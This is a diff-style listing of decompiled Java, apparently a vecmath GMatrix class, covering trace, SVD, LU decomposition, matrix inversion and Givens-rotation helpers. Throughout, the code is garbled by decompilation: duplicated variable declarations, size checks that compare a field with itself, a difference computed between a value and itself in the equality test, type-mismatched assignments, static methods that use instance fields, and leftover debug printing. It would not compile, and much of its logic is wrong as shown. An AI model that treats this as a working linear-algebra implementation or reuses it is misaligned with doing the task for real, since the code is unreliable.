+      for (int j = 0; j < nCol; j++) {
+        double diff = values[i][j] - values[i][j];
+        if ((diff < 0.0D ? -diff : diff) > epsilon)
+          return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+  public final double trace()
+  {
+    int l;
+    
+
+    int l;
+    
+    if (nRow < nCol) {
+      l = nRow;
+    } else {
+      l = nCol;
+    }
+    double t = 0.0D;
+    for (int i = 0; i < l; i++) {
+      t += values[i][i];
+    }
+    return t;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int SVD(GMatrix U, GMatrix W, GMatrix V)
+  {
+    if ((nCol != nCol) || (nCol != nRow))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix18"));
+    }
+    
+    if ((nRow != nRow) || (nRow != nCol))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix25"));
+    }
+    
+    if ((nRow != nRow) || (nCol != nCol))
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix26"));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    if ((nRow == 2) && (nCol == 2) && 
+      (values[1][0] == 0.0D)) {
+      U.setIdentity();
+      V.setIdentity();
+      
+      if (values[0][1] == 0.0D) {
+        return 2;
+      }
+      
+      double[] sinl = new double[1];
+      double[] sinr = new double[1];
+      double[] cosl = new double[1];
+      double[] cosr = new double[1];
+      double[] single_values = new double[2];
+      
+      single_values[0] = values[0][0];
+      single_values[1] = values[1][1];
+      
+      compute_2X2(values[0][0], values[0][1], values[1][1], single_values, sinl, cosl, sinr, cosr, 0);
+      
+
+      update_u(0, U, cosl, sinl);
+      update_v(0, V, cosr, sinr);
+      
+      return 2;
+    }
+    
+
+
+    return computeSVD(this, U, W, V);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int LUD(GMatrix LU, GVector permutation)
+  {
+    int size = nRow * nCol;
+    double[] temp = new double[size];
+    int[] even_row_exchange = new int[1];
+    int[] row_perm = new int[nRow];
+    
+
+    if (nRow != nCol)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix19"));
+    }
+    
+    if (nRow != nRow)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix27"));
+    }
+    
+    if (nCol != nCol)
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix27"));
+    }
+    
+    if (nRow != permutation.getSize())
+    {
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix20"));
+    }
+    
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        temp[(i * nCol + j)] = values[i][j];
+      }
+    }
+    
+
+    if (!luDecomposition(nRow, temp, row_perm, even_row_exchange))
+    {
+
+      throw new SingularMatrixException(VecMathI18N.getString("GMatrix21"));
+    }
+    
+    for (i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = temp[(i * nCol + j)];
+      }
+    }
+    
+    for (i = 0; i < nRow; i++) {
+      values[i] = row_perm[i];
+    }
+    
+    return even_row_exchange[0];
+  }
+  
+
+
+  public final void setScale(double scale)
+  {
+    int l;
+    
+
+    int l;
+    
+    if (nRow < nCol) {
+      l = nRow;
+    } else {
+      l = nCol;
+    }
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = 0.0D;
+      }
+    }
+    
+    for (i = 0; i < l; i++) {
+      values[i][i] = scale;
+    }
+  }
+  
+
+
+
+
+
+
+
+  final void invertGeneral(GMatrix m1)
+  {
+    int size = nRow * nCol;
+    double[] temp = new double[size];
+    double[] result = new double[size];
+    int[] row_perm = new int[nRow];
+    int[] even_row_exchange = new int[1];
+    
+
+
+
+    if (nRow != nCol)
+    {
+
+      throw new MismatchedSizeException(VecMathI18N.getString("GMatrix22"));
+    }
+    
+
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        temp[(i * nCol + j)] = values[i][j];
+      }
+    }
+    
+
+    if (!luDecomposition(nRow, temp, row_perm, even_row_exchange))
+    {
+
+      throw new SingularMatrixException(VecMathI18N.getString("GMatrix21"));
+    }
+    
+
+    for (i = 0; i < size; i++) {
+      result[i] = 0.0D;
+    }
+    for (i = 0; i < nCol; i++) {
+      result[(i + i * nCol)] = 1.0D;
+    }
+    luBacksubstitution(nRow, temp, row_perm, result);
+    
+    for (i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        values[i][j] = result[(i * nCol + j)];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static boolean luDecomposition(int dim, double[] matrix0, int[] row_perm, int[] even_row_xchg)
+  {
+    double[] row_scale = new double[dim];
+    
+
+
+
+
+
+    int ptr = 0;
+    int rs = 0;
+    even_row_xchg[0] = 1;
+    
+
+    int i = dim;
+    while (i-- != 0) {
+      double big = 0.0D;
+      
+
+      int j = dim;
+      while (j-- != 0) {
+        double temp = matrix0[(ptr++)];
+        temp = Math.abs(temp);
+        if (temp > big) {
+          big = temp;
+        }
+      }
+      
+
+      if (big == 0.0D) {
+        return false;
+      }
+      row_scale[(rs++)] = (1.0D / big);
+    }
+    
+
+    int mtx = 0;
+    for (int j = 0; j < dim; j++)
+    {
+
+
+
+
+      for (i = 0; i < j; i++) {
+        int target = mtx + dim * i + j;
+        double sum = matrix0[target];
+        int k = i;
+        int p1 = mtx + dim * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += dim;
+        }
+        matrix0[target] = sum;
+      }
+      
+
+
+      double big = 0.0D;
+      int imax = -1;
+      for (i = j; i < dim; i++) {
+        int target = mtx + dim * i + j;
+        double sum = matrix0[target];
+        int k = j;
+        int p1 = mtx + dim * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += dim;
+        }
+        matrix0[target] = sum;
+        
+        double temp;
+        if ((temp = row_scale[i] * Math.abs(sum)) >= big) {
+          big = temp;
+          imax = i;
+        }
+      }
+      
+      if (imax < 0) {
+        throw new RuntimeException(VecMathI18N.getString("GMatrix24"));
+      }
+      
+
+      if (j != imax)
+      {
+        int k = dim;
+        int p1 = mtx + dim * imax;
+        int p2 = mtx + dim * j;
+        while (k-- != 0) {
+          double temp = matrix0[p1];
+          matrix0[(p1++)] = matrix0[p2];
+          matrix0[(p2++)] = temp;
+        }
+        
+
+        row_scale[imax] = row_scale[j];
+        even_row_xchg[0] = (-even_row_xchg[0]);
+      }
+      
+
+      row_perm[j] = imax;
+      
+
+      if (matrix0[(mtx + dim * j + j)] == 0.0D) {
+        return false;
+      }
+      
+
+      if (j != dim - 1) {
+        double temp = 1.0D / matrix0[(mtx + dim * j + j)];
+        int target = mtx + dim * (j + 1) + j;
+        i = dim - 1 - j;
+        while (i-- != 0) {
+          matrix0[target] *= temp;
+          target += dim;
+        }
+      }
+    }
+    
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static void luBacksubstitution(int dim, double[] matrix1, int[] row_perm, double[] matrix2)
+  {
+    int rp = 0;
+    
+
+    for (int k = 0; k < dim; k++)
+    {
+      int cv = k;
+      int ii = -1;
+      
+
+      for (int i = 0; i < dim; i++)
+      {
+
+        int ip = row_perm[(rp + i)];
+        double sum = matrix2[(cv + dim * ip)];
+        matrix2[(cv + dim * ip)] = matrix2[(cv + dim * i)];
+        if (ii >= 0)
+        {
+          int rv = i * dim;
+          for (int j = ii; j <= i - 1; j++) {
+            sum -= matrix1[(rv + j)] * matrix2[(cv + dim * j)];
+          }
+        }
+        if (sum != 0.0D) {
+          ii = i;
+        }
+        matrix2[(cv + dim * i)] = sum;
+      }
+      
+
+      for (i = 0; i < dim; i++) {
+        int ri = dim - 1 - i;
+        int rv = dim * ri;
+        double tt = 0.0D;
+        for (int j = 1; j <= i; j++) {
+          tt += matrix1[(rv + dim - j)] * matrix2[(cv + dim * (dim - j))];
+        }
+        matrix2[(cv + dim * ri)] = ((matrix2[(cv + dim * ri)] - tt) / matrix1[(rv + ri)]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  static int computeSVD(GMatrix mat, GMatrix U, GMatrix W, GMatrix V)
+  {
+    GMatrix tmp = new GMatrix(nRow, nCol);
+    GMatrix u = new GMatrix(nRow, nCol);
+    GMatrix v = new GMatrix(nRow, nCol);
+    GMatrix m = new GMatrix(mat);
+    int eLength;
+    int sLength;
+    int eLength; if (nRow >= nCol) {
+      int sLength = nCol;
+      eLength = nCol - 1;
+    } else {
+      sLength = nRow;
+      eLength = nRow; }
+    int vecLength;
+    int vecLength;
+    if (nRow > nCol) {
+      vecLength = nRow;
+    } else {
+      vecLength = nCol;
+    }
+    double[] vec = new double[vecLength];
+    double[] single_values = new double[sLength];
+    double[] e = new double[eLength];
+    
+
+
+
+
+    int rank = 0;
+    
+    U.setIdentity();
+    V.setIdentity();
+    
+    int nr = nRow;
+    int nc = nCol;
+    
+
+    for (int si = 0; si < sLength; si++)
+    {
+
+      if (nr > 1)
+      {
+
+
+
+
+
+        double mag = 0.0D;
+        for (int i = 0; i < nr; i++) {
+          mag += values[(i + si)][si] * values[(i + si)][si];
+        }
+        
+
+
+
+
+        mag = Math.sqrt(mag);
+        if (values[si][si] == 0.0D) {
+          vec[0] = mag;
+        } else {
+          vec[0] = (values[si][si] + d_sign(mag, values[si][si]));
+        }
+        
+        for (i = 1; i < nr; i++) {
+          vec[i] = values[(si + i)][si];
+        }
+        
+        double scale = 0.0D;
+        for (i = 0; i < nr; i++)
+        {
+
+
+          scale += vec[i] * vec[i];
+        }
+        
+        scale = 2.0D / scale;
+        
+
+
+        for (int j = si; j < nRow; j++) {
+          for (int k = si; k < nRow; k++) {
+            values[j][k] = (-scale * vec[(j - si)] * vec[(k - si)]);
+          }
+        }
+        
+        for (i = si; i < nRow; i++) {
+          values[i][i] += 1.0D;
+        }
+        
+
+        double t = 0.0D;
+        for (i = si; i < nRow; i++) {
+          t += values[si][i] * values[i][si];
+        }
+        values[si][si] = t;
+        
+
+        for (j = si; j < nRow; j++) {
+          for (int k = si + 1; k < nCol; k++) {
+            values[j][k] = 0.0D;
+            for (i = si; i < nCol; i++) {
+              values[j][k] += values[j][i] * values[i][k];
+            }
+          }
+        }
+        
+        for (j = si; j < nRow; j++) {
+          for (int k = si + 1; k < nCol; k++) {
+            values[j][k] = values[j][k];
+          }
+        }
+        
+
+
+
+
+
+
+        for (j = si; j < nRow; j++) {
+          for (int k = 0; k < nCol; k++) {
+            values[j][k] = 0.0D;
+            for (i = si; i < nCol; i++) {
+              values[j][k] += values[j][i] * values[i][k];
+            }
+          }
+        }
+        
+        for (j = si; j < nRow; j++) {
+          for (int k = 0; k < nCol; k++) {
+            values[j][k] = values[j][k];
+          }
+        }
+        
+
+
+
+
+
+
+
+        nr--;
+      }
+      
+      if (nc > 2)
+      {
+
+
+
+
+        double mag = 0.0D;
+        for (int i = 1; i < nc; i++) {
+          mag += values[si][(si + i)] * values[si][(si + i)];
+        }
+        
+
+
+
+
+
+        mag = Math.sqrt(mag);
+        if (values[si][(si + 1)] == 0.0D) {
+          vec[0] = mag;
+        }
+        else {
+          vec[0] = (values[si][(si + 1)] + d_sign(mag, values[si][(si + 1)]));
+        }
+        
+        for (i = 1; i < nc - 1; i++) {
+          vec[i] = values[si][(si + i + 1)];
+        }
+        
+
+        double scale = 0.0D;
+        for (i = 0; i < nc - 1; i++)
+        {
+          scale += vec[i] * vec[i];
+        }
+        
+        scale = 2.0D / scale;
+        
+
+
+        for (int j = si + 1; j < nc; j++) {
+          for (int k = si + 1; k < nCol; k++) {
+            values[j][k] = (-scale * vec[(j - si - 1)] * vec[(k - si - 1)]);
+          }
+        }
+        
+        for (i = si + 1; i < nCol; i++) {
+          values[i][i] += 1.0D;
+        }
+        
+        double t = 0.0D;
+        for (i = si; i < nCol; i++) {
+          t += values[i][(si + 1)] * values[si][i];
+        }
+        values[si][(si + 1)] = t;
+        
+
+        for (j = si + 1; j < nRow; j++) {
+          for (int k = si + 1; k < nCol; k++) {
+            values[j][k] = 0.0D;
+            for (i = si + 1; i < nCol; i++) {
+              values[j][k] += values[i][k] * values[j][i];
+            }
+          }
+        }
+        
+        for (j = si + 1; j < nRow; j++) {
+          for (int k = si + 1; k < nCol; k++) {
+            values[j][k] = values[j][k];
+          }
+        }
+        
+
+
+
+
+
+
+
+        for (j = 0; j < nRow; j++) {
+          for (int k = si + 1; k < nCol; k++) {
+            values[j][k] = 0.0D;
+            for (i = si + 1; i < nCol; i++) {
+              values[j][k] += values[i][k] * values[j][i];
+            }
+          }
+        }
+        
+
+
+
+        for (j = 0; j < nRow; j++) {
+          for (int k = si + 1; k < nCol; k++) {
+            values[j][k] = values[j][k];
+          }
+        }
+        
+
+
+
+
+
+        nc--;
+      }
+    }
+    
+    for (int i = 0; i < sLength; i++) {
+      single_values[i] = values[i][i];
+    }
+    
+    for (i = 0; i < eLength; i++) {
+      e[i] = values[i][(i + 1)];
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    if ((nRow == 2) && (nCol == 2)) {
+      double[] cosl = new double[1];
+      double[] cosr = new double[1];
+      double[] sinl = new double[1];
+      double[] sinr = new double[1];
+      
+      compute_2X2(single_values[0], e[0], single_values[1], single_values, sinl, cosl, sinr, cosr, 0);
+      
+
+      update_u(0, U, cosl, sinl);
+      update_v(0, V, cosr, sinr);
+      
+      return 2;
+    }
+    
+
+    compute_qr(0, e.length - 1, single_values, e, U, V);
+    
+
+    rank = single_values.length;
+    
+
+
+    return rank;
+  }
+  
+
+
+
+
+  static void compute_qr(int start, int end, double[] s, double[] e, GMatrix u, GMatrix v)
+  {
+    double[] cosl = new double[1];
+    double[] cosr = new double[1];
+    double[] sinl = new double[1];
+    double[] sinr = new double[1];
+    GMatrix m = new GMatrix(nCol, nRow);
+    
+    int MAX_INTERATIONS = 2;
+    double CONVERGE_TOL = 4.89E-15D;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    double c_b48 = 1.0D;
+    double c_b71 = -1.0D;
+    boolean converged = false;
+    
+
+
+
+    double f = 0.0D;
+    double g = 0.0D;
+    
+    for (int k = 0; (k < 2) && (!converged); k++) {
+      for (int i = start; i <= end; i++)
+      {
+
+        if (i == start) { int sl;
+          int sl; if (e.length == s.length) {
+            sl = end;
+          } else {
+            sl = end + 1;
+          }
+          double shift = compute_shift(s[(sl - 1)], e[end], s[sl]);
+          
+
+          f = (Math.abs(s[i]) - shift) * (d_sign(c_b48, s[i]) + shift / s[i]);
+          g = e[i];
+        }
+        
+        double r = compute_rot(f, g, sinr, cosr);
+        if (i != start) {
+          e[(i - 1)] = r;
+        }
+        f = cosr[0] * s[i] + sinr[0] * e[i];
+        e[i] = (cosr[0] * e[i] - sinr[0] * s[i]);
+        g = sinr[0] * s[(i + 1)];
+        s[(i + 1)] = (cosr[0] * s[(i + 1)]);
+        
+
+        update_v(i, v, cosr, sinr);
+        
+
+
+        r = compute_rot(f, g, sinl, cosl);
+        s[i] = r;
+        f = cosl[0] * e[i] + sinl[0] * s[(i + 1)];
+        s[(i + 1)] = (cosl[0] * s[(i + 1)] - sinl[0] * e[i]);
+        
+        if (i < end)
+        {
+          g = sinl[0] * e[(i + 1)];
+          e[(i + 1)] = (cosl[0] * e[(i + 1)]);
+        }
+        
+
+        update_u(i, u, cosl, sinl);
+      }
+      
+
+
+
+      if (s.length == e.length) {
+        double r = compute_rot(f, g, sinr, cosr);
+        f = cosr[0] * s[i] + sinr[0] * e[i];
+        e[i] = (cosr[0] * e[i] - sinr[0] * s[i]);
+        s[(i + 1)] = (cosr[0] * s[(i + 1)]);
+        
+        update_v(i, v, cosr, sinr);
+      }
+      
+
+
+
+
+
+
+
+
+
+
+      while ((end - start > 1) && (Math.abs(e[end]) < 4.89E-15D)) {
+        end--;
+      }
+      
+
+      for (int n = end - 2; n > start; n--) {
+        if (Math.abs(e[n]) < 4.89E-15D) {
+          compute_qr(n + 1, end, s, e, u, v);
+          end = n - 1;
+          
+
+          while ((end - start > 1) && 
+            (Math.abs(e[end]) < 4.89E-15D)) {
+            end--;
+          }
+        }
+      }
+      
+
+
+
+      if ((end - start <= 1) && (Math.abs(e[(start + 1)]) < 4.89E-15D)) {
+        converged = true;
+      }
+    }
+    
+
+
+
+
+
+
+    if (Math.abs(e[1]) < 4.89E-15D) {
+      compute_2X2(s[start], e[start], s[(start + 1)], s, sinl, cosl, sinr, cosr, 0);
+      
+      e[start] = 0.0D;
+      e[(start + 1)] = 0.0D;
+    }
+    
+
+    int i = start;
+    update_u(i, u, cosl, sinl);
+    update_v(i, v, cosr, sinr);
+  }
+  
+
+
+
+
+
+
+
+  private static void print_se(double[] s, double[] e)
+  {
+    System.out.println("\ns =" + s[0] + " " + s[1] + " " + s[2]);
+    System.out.println("e =" + e[0] + " " + e[1]);
+  }
+  
+
+
+
+  private static void update_v(int index, GMatrix v, double[] cosr, double[] sinr)
+  {
+    for (int j = 0; j < nRow; j++) {
+      double vtemp = values[j][index];
+      values[j][index] = (cosr[0] * vtemp + sinr[0] * values[j][(index + 1)]);
+      
+      values[j][(index + 1)] = (-sinr[0] * vtemp + cosr[0] * values[j][(index + 1)]);
+    }
+  }
+  
+
+  private static void chase_up(double[] s, double[] e, int k, GMatrix v)
+  {
+    double[] cosr = new double[1];
+    double[] sinr = new double[1];
+    
+    GMatrix t = new GMatrix(nRow, nCol);
+    GMatrix m = new GMatrix(nRow, nCol);
+    
+
+
+
+
+
+
+
+
+
+
+    double f = e[k];
+    double g = s[k];
+    
+    for (int i = k; i > 0; i--) {
+      double r = compute_rot(f, g, sinr, cosr);
+      f = -e[(i - 1)] * sinr[0];
+      g = s[(i - 1)];
+      s[i] = r;
+      e[(i - 1)] *= cosr[0];
+      update_v_split(i, k + 1, v, cosr, sinr, t, m);
+    }
+    
+    s[(i + 1)] = compute_rot(f, g, sinr, cosr);
+    update_v_split(i, k + 1, v, cosr, sinr, t, m);
+  }
+  
+  private static void chase_across(double[] s, double[] e, int k, GMatrix u)
+  {
+    double[] cosl = new double[1];
+    double[] sinl = new double[1];
+    
+    GMatrix t = new GMatrix(nRow, nCol);
+    GMatrix m = new GMatrix(nRow, nCol);
+    
+
+
+
+
+
+
+
+
+
+
+    double g = e[k];
+    double f = s[(k + 1)];
+    
+    for (int i = k; i < nCol - 2; i++) {
+      double r = compute_rot(f, g, sinl, cosl);
+      g = -e[(i + 1)] * sinl[0];
+      f = s[(i + 2)];
+      s[(i + 1)] = r;
+      e[(i + 1)] *= cosl[0];
+      update_u_split(k, i + 1, u, cosl, sinl, t, m);
+    }
+    
+    s[(i + 1)] = compute_rot(f, g, sinl, cosl);
+    update_u_split(k, i + 1, u, cosl, sinl, t, m);
+  }
+  
+
+
+
+
+  private static void update_v_split(int topr, int bottomr, GMatrix v, double[] cosr, double[] sinr, GMatrix t, GMatrix m)
+  {
+    for (int j = 0; j < nRow; j++) {
+      double vtemp = values[j][topr];
+      values[j][topr] = (cosr[0] * vtemp - sinr[0] * values[j][bottomr]);
+      values[j][bottomr] = (sinr[0] * vtemp + cosr[0] * values[j][bottomr]);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    System.out.println("topr    =" + topr);
+    System.out.println("bottomr =" + bottomr);
+    System.out.println("cosr =" + cosr[0]);
+    System.out.println("sinr =" + sinr[0]);
+    System.out.println("\nm =");
+    checkMatrix(m);
+    System.out.println("\nv =");
+    checkMatrix(t);
+    m.mul(m, t);
+    System.out.println("\nt*m =");
+    checkMatrix(m);
+  }
+  
+
+
+
+
+  private static void update_u_split(int topr, int bottomr, GMatrix u, double[] cosl, double[] sinl, GMatrix t, GMatrix m)
+  {
+    for (int j = 0; j < nCol; j++) {
+      double utemp = values[topr][j];
+      values[topr][j] = (cosl[0] * utemp - sinl[0] * values[bottomr][j]);
+      values[bottomr][j] = (sinl[0] * utemp + cosl[0] * values[bottomr][j]);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    System.out.println("\nm=");
+    checkMatrix(m);
+    System.out.println("\nu=");
+    checkMatrix(t);
+    m.mul(t, m);
+    System.out.println("\nt*m=");
+    checkMatrix(m);
+  }
+  
+
+
+
+  private static void update_u(int index, GMatrix u, double[] cosl, double[] sinl)
+  {
+    for (int j = 0; j < nCol; j++) {
+      double utemp = values[index][j];
+      values[index][j] = (cosl[0] * utemp + sinl[0] * values[(index + 1)][j]);
+      
+      values[(index + 1)][j] = (-sinl[0] * utemp + cosl[0] * values[(index + 1)][j]);
+    }
+  }
+  
+  private static void print_m(GMatrix m, GMatrix u, GMatrix v)
+  {
+    GMatrix mtmp = new GMatrix(nCol, nRow);
+    
+    mtmp.mul(u, mtmp);
+    mtmp.mul(mtmp, v);
+    System.out.println("\n m = \n" + toString(mtmp));
+  }
+  
+
+  private static String toString(GMatrix m)
+  {
+    StringBuffer buffer = new StringBuffer(nRow * nCol * 8);
+    
+
+    for (int i = 0; i < nRow; i++) {
+      for (int j = 0; j < nCol; j++) {
+        if (Math.abs(values[i][j]) < 1.0E-9D) {
+          buffer.append("0.0000 ");
+        } else {
+          buffer.append(values[i][j]).append(" ");
+        }
+      }
+      buffer.append("\n");
+    }
+    return buffer.toString();
+  }
+  
+
+  private static void print_svd(double[] s, double[] e, GMatrix u, GMatrix v)
+  {
+    GMatrix mtmp = new GMatrix(nCol, nRow);
+    
+    System.out.println(" \ns = ");
+    for (int i = 0; i < s.length; i++) {
+      System.out.println(" " + s[i]);
+    }
+    
+    System.out.println(" \ne = ");
+    for (i = 0; i < e.length; i++) {
+      System.out.println(" " + e[i]);
+    }
+    
+    System.out.println(" \nu  = \n" + u.toString());
+    System.out.println(" \nv  = \n" + v.toString());
+    
+    mtmp.setIdentity();
+    for (i = 0; i < s.length; i++) {
+      values[i][i] = s[i];
+    }
+    for (i = 0; i < e.length; i++) {
+      values[i][(i + 1)] = e[i];
+    }
+    System.out.println(" \nm  = \n" + mtmp.toString());
+    
+    mtmp.mulTransposeLeft(u, mtmp);
+    mtmp.mulTransposeRight(mtmp, v);
+    
+    System.out.println(" \n u.transpose*m*v.transpose  = \n" + mtmp
+      .toString());
+  }
+  
+  static double max(double a, double b) {
+    if (a > b) {
+      return a;
+    }
+    return b;
+  }
+  
+  static double min(double a, double b) {
+    if (a < b) {
+      return a;
+    }
+    return b;
+  }
+  
+
+
+
+  static double compute_shift(double f, double g, double h)
+  {
+    double fa = Math.abs(f);
+    double ga = Math.abs(g);
+    double ha = Math.abs(h);
+    double fhmn = min(fa, ha);
+    double fhmx = max(fa, ha);
+    double ssmin;
+    if (fhmn == 0.0D) {
+      double ssmin = 0.0D;
+      if (fhmx != 0.0D)
+      {
+        double d1 = min(fhmx, ga) / max(fhmx, ga); }
+    } else {
+      double ssmin;
+      if (ga < fhmx) {
+        double as = fhmn / fhmx + 1.0D;
+        double at = (fhmx - fhmn) / fhmx;
+        double d__1 = ga / fhmx;
+        double au = d__1 * d__1;
+        double c = 2.0D / (Math.sqrt(as * as + au) + Math.sqrt(at * at + au));
+        ssmin = fhmn * c;
+      } else {
+        double au = fhmx / ga;
+        double ssmin; if (au == 0.0D) {
+          ssmin = fhmn * fhmx / ga;
+        } else {
+          double as = fhmn / fhmx + 1.0D;
+          double at = (fhmx - fhmn) / fhmx;
+          double d__1 = as * au;
+          double d__2 = at * au;
+          
+          double c = 1.0D / (Math.sqrt(d__1 * d__1 + 1.0D) + Math.sqrt(d__2 * d__2 + 1.0D));
+          ssmin = fhmn * c * au;
+          ssmin += ssmin;
+        }
+      }
+    }
+    
+    return ssmin;
+  }
+  
+
+
+  static int compute_2X2(double f, double g, double h, double[] single_values, double[] snl, double[] csl, double[] snr, double[] csr, int index)
+  {
+    double c_b3 = 2.0D;
+    double c_b4 = 1.0D;
+    
+
+
+
+
+
+
+
+
+
+
+    double ssmax = single_values[0];
+    double ssmin = single_values[1];
+    double clt = 0.0D;
+    double crt = 0.0D;
+    double slt = 0.0D;
+    double srt = 0.0D;
+    double tsign = 0.0D;
+    
+    double ft = f;
+    double fa = Math.abs(ft);
+    double ht = h;
+    double ha = Math.abs(h);
+    
+    int pmax = 1;
+    boolean swap; boolean swap; if (ha > fa) {
+      swap = true;
+    } else {
+      swap = false;
+    }
+    if (swap) {
+      pmax = 3;
+      double temp = ft;
+      ft = ht;
+      ht = temp;
+      temp = fa;
+      fa = ha;
+      ha = temp;
+    }
+    
+
+    double gt = g;
+    double ga = Math.abs(gt);
+    if (ga == 0.0D) {
+      single_values[1] = ha;
+      single_values[0] = fa;
+      clt = 1.0D;
+      crt = 1.0D;
+      slt = 0.0D;
+      srt = 0.0D;
+    } else {
+      boolean gasmal = true;
+      if (ga > fa) {
+        pmax = 2;
+        if (fa / ga < 1.0E-10D) {
+          gasmal = false;
+          ssmax = ga;
+          
+          if (ha > 1.0D) {
+            ssmin = fa / (ga / ha);
+          } else {
+            ssmin = fa / ga * ha;
+          }
+          clt = 1.0D;
+          slt = ht / gt;
+          srt = 1.0D;
+          crt = ft / gt;
+        }
+      }
+      if (gasmal) {
+        double d = fa - ha;
+        double l; double l; if (d == fa)
+        {
+          l = 1.0D;
+        } else {
+          l = d / fa;
+        }
+        
+        double m = gt / ft;
+        double t = 2.0D - l;
+        double mm = m * m;
+        double tt = t * t;
+        double s = Math.sqrt(tt + mm);
+        double r;
+        double r; if (l == 0.0D) {
+          r = Math.abs(m);
+        } else {
+          r = Math.sqrt(l * l + mm);
+        }
+        
+        double a = (s + r) * 0.5D;
+        if (ga > fa) {
+          pmax = 2;
+          if (fa / ga < 1.0E-10D) {
+            gasmal = false;
+            ssmax = ga;
+            if (ha > 1.0D) {
+              ssmin = fa / (ga / ha);
+            } else {
+              ssmin = fa / ga * ha;
+            }
+            clt = 1.0D;
+            slt = ht / gt;
+            srt = 1.0D;
+            crt = ft / gt;
+          }
+        }
+        if (gasmal) {
+          d = fa - ha;
+          if (d == fa) {
+            l = 1.0D;
+          } else {
+            l = d / fa;
+          }
+          
+          m = gt / ft;
+          t = 2.0D - l;
+          
+          mm = m * m;
+          tt = t * t;
+          s = Math.sqrt(tt + mm);
+          
+          if (l == 0.0D) {
+            r = Math.abs(m);
+          } else {
+            r = Math.sqrt(l * l + mm);
+          }
+          
+          a = (s + r) * 0.5D;
+          ssmin = ha / a;
+          ssmax = fa * a;
+          
+          if (mm == 0.0D) {
+            if (l == 0.0D) {
+              t = d_sign(c_b3, ft) * d_sign(c_b4, gt);
+            } else {
+              t = gt / d_sign(d, ft) + m / t;
+            }
+          } else {
+            t = (m / (s + t) + m / (r + l)) * (a + 1.0D);
+          }
+          
+          l = Math.sqrt(t * t + 4.0D);
+          crt = 2.0D / l;
+          srt = t / l;
+          clt = (crt + srt * m) / a;
+          slt = ht / ft * srt / a;
+        }
+      }
+      if (swap) {
+        csl[0] = srt;
+        snl[0] = crt;
+        csr[0] = slt;
+        snr[0] = clt;
+      } else {
+        csl[0] = clt;
+        snl[0] = slt;
+        csr[0] = crt;
+        snr[0] = srt;
+      }
+      
+      if (pmax == 1)
+      {
+        tsign = d_sign(c_b4, csr[0]) * d_sign(c_b4, csl[0]) * d_sign(c_b4, f);
+      }
+      if (pmax == 2)
+      {
+        tsign = d_sign(c_b4, snr[0]) * d_sign(c_b4, csl[0]) * d_sign(c_b4, g);
+      }
+      if (pmax == 3)
+      {
+        tsign = d_sign(c_b4, snr[0]) * d_sign(c_b4, snl[0]) * d_sign(c_b4, h);
+      }
+      
+      single_values[index] = d_sign(ssmax, tsign);
+      double d__1 = tsign * d_sign(c_b4, f) * d_sign(c_b4, h);
+      single_values[(index + 1)] = d_sign(ssmin, d__1);
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+  static double compute_rot(double f, double g, double[] sin, double[] cos)
+  {
+    double safmn2 = 2.002083095183101E-146D;
+    double safmx2 = 4.9947976805055876E145D;
+    double r;
+    double r; double cs; double sn; if (g == 0.0D) {
+      double cs = 1.0D;
+      double sn = 0.0D;
+      r = f; } else { double r;
+      if (f == 0.0D) {
+        double cs = 0.0D;
+        double sn = 1.0D;
+        r = g;
+      } else {
+        double f1 = f;
+        double g1 = g;
+        double scale = max(Math.abs(f1), Math.abs(g1));
+        if (scale >= 4.9947976805055876E145D) {
+          int count = 0;
+          while (scale >= 4.9947976805055876E145D) {
+            count++;
+            f1 *= 2.002083095183101E-146D;
+            g1 *= 2.002083095183101E-146D;
+            scale = max(Math.abs(f1), Math.abs(g1));
+          }
+          double r = Math.sqrt(f1 * f1 + g1 * g1);
+          double cs = f1 / r;
+          double sn = g1 / r;
+          int i__1 = count;
+          for (int i = 1; i <= count; i++)
+            r *= 4.9947976805055876E145D;
+        }
+        if (scale <= 2.002083095183101E-146D) {
+          int count = 0;
+          while (scale <= 2.002083095183101E-146D) {
+            count++;
+            f1 *= 4.9947976805055876E145D;
+            g1 *= 4.9947976805055876E145D;
+            scale = max(Math.abs(f1), Math.abs(g1));
+          }
+          double r = Math.sqrt(f1 * f1 + g1 * g1);
+          double cs = f1 / r;
+          double sn = g1 / r;
+          int i__1 = count;
+          for (int i = 1; i <= count; i++) {
+            r *= 2.002083095183101E-146D;
+          }
+        }
+        r = Math.sqrt(f1 * f1 + g1 * g1);
+        cs = f1 / r;
+        sn = g1 / r;
+        
+        if ((Math.abs(f) > Math.abs(g)) && (cs < 0.0D)) {
+          cs = -cs;
+          sn = -sn;
+          r = -r;
+        }
+      } }
+    sin[0] = sn;
+    cos[0] = cs;
+    return r;
+  }
+  
+  static double d_sign(double a, double b)
+  {
